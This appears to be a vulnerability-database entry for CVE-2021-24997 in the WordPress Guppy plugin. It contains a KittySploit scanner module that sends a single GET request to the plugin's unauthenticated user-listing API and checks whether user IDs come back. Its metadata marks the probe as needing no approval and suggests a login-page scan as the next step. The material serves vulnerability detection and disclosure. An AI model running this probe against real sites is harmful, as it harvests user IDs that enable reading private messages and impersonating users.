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WordPress Guppy <=1.1 - Information Disclosure Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Information disclosure in WordPress Guppy allowing access to all user IDs.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
WP-Guppy-A-live-chat-WP-JSON-API-Sensitive-Information-Disclosure
22 Nov 202114:56
–githubexploit
attackerkb
attackerkb
CVE-2021-24997
27 Dec 202111:15
–attackerkb
cnnvd
CNNVD
WordPress 插件安全漏洞
27 Dec 202100:00
–cnnvd
cnvd
CNVD
WordPress WP Guppy Plugin Information Disclosure Vulnerability
28 Dec 202100:00
–cnvd
cve
CVE
CVE-2021-24997
27 Dec 202110:33
–cve
cvelist
Cvelist
CVE-2021-24997 WP Guppy < 1.3 - Sensitive Information Disclosure
27 Dec 202110:33
–cvelist
euvd
EUVD
EUVD-2021-11909
7 Oct 202500:30
–euvd
nuclei
Nuclei
WordPress Guppy <=1.1 - Information Disclosure
16 Oct 202602:05
–nuclei
nvd
NVD
CVE-2021-24997
27 Dec 202111:15
–nvd
osv_cve
osv_cve
CVE-2021-24997
27 Dec 202111:15
–osv_cve
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Guppy plugin through 1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Guppy <=1.1 - Information Disclosure Detection',
        'description': 'WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'wordpress', 'guppy', 'api', 'wp-plugin', 'edb', 'wpscan', 'wp-guppy', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.exploit-db.com/exploits/50540',
            'https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability',
            'https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-24997',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2021-24997',
    }

    def run(self):
        r = self.http_request(method="GET", path='/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('"guppyUsers":', '"userId":', '"type":',)
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='medium',
                reason="WordPress Guppy <=1.1 - Information Disclosure detected",
                path='/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.7Medium risk
Vulners AI Score6.7
CVSS 26.4
CVSS 3.16.5
EPSS0.02753
1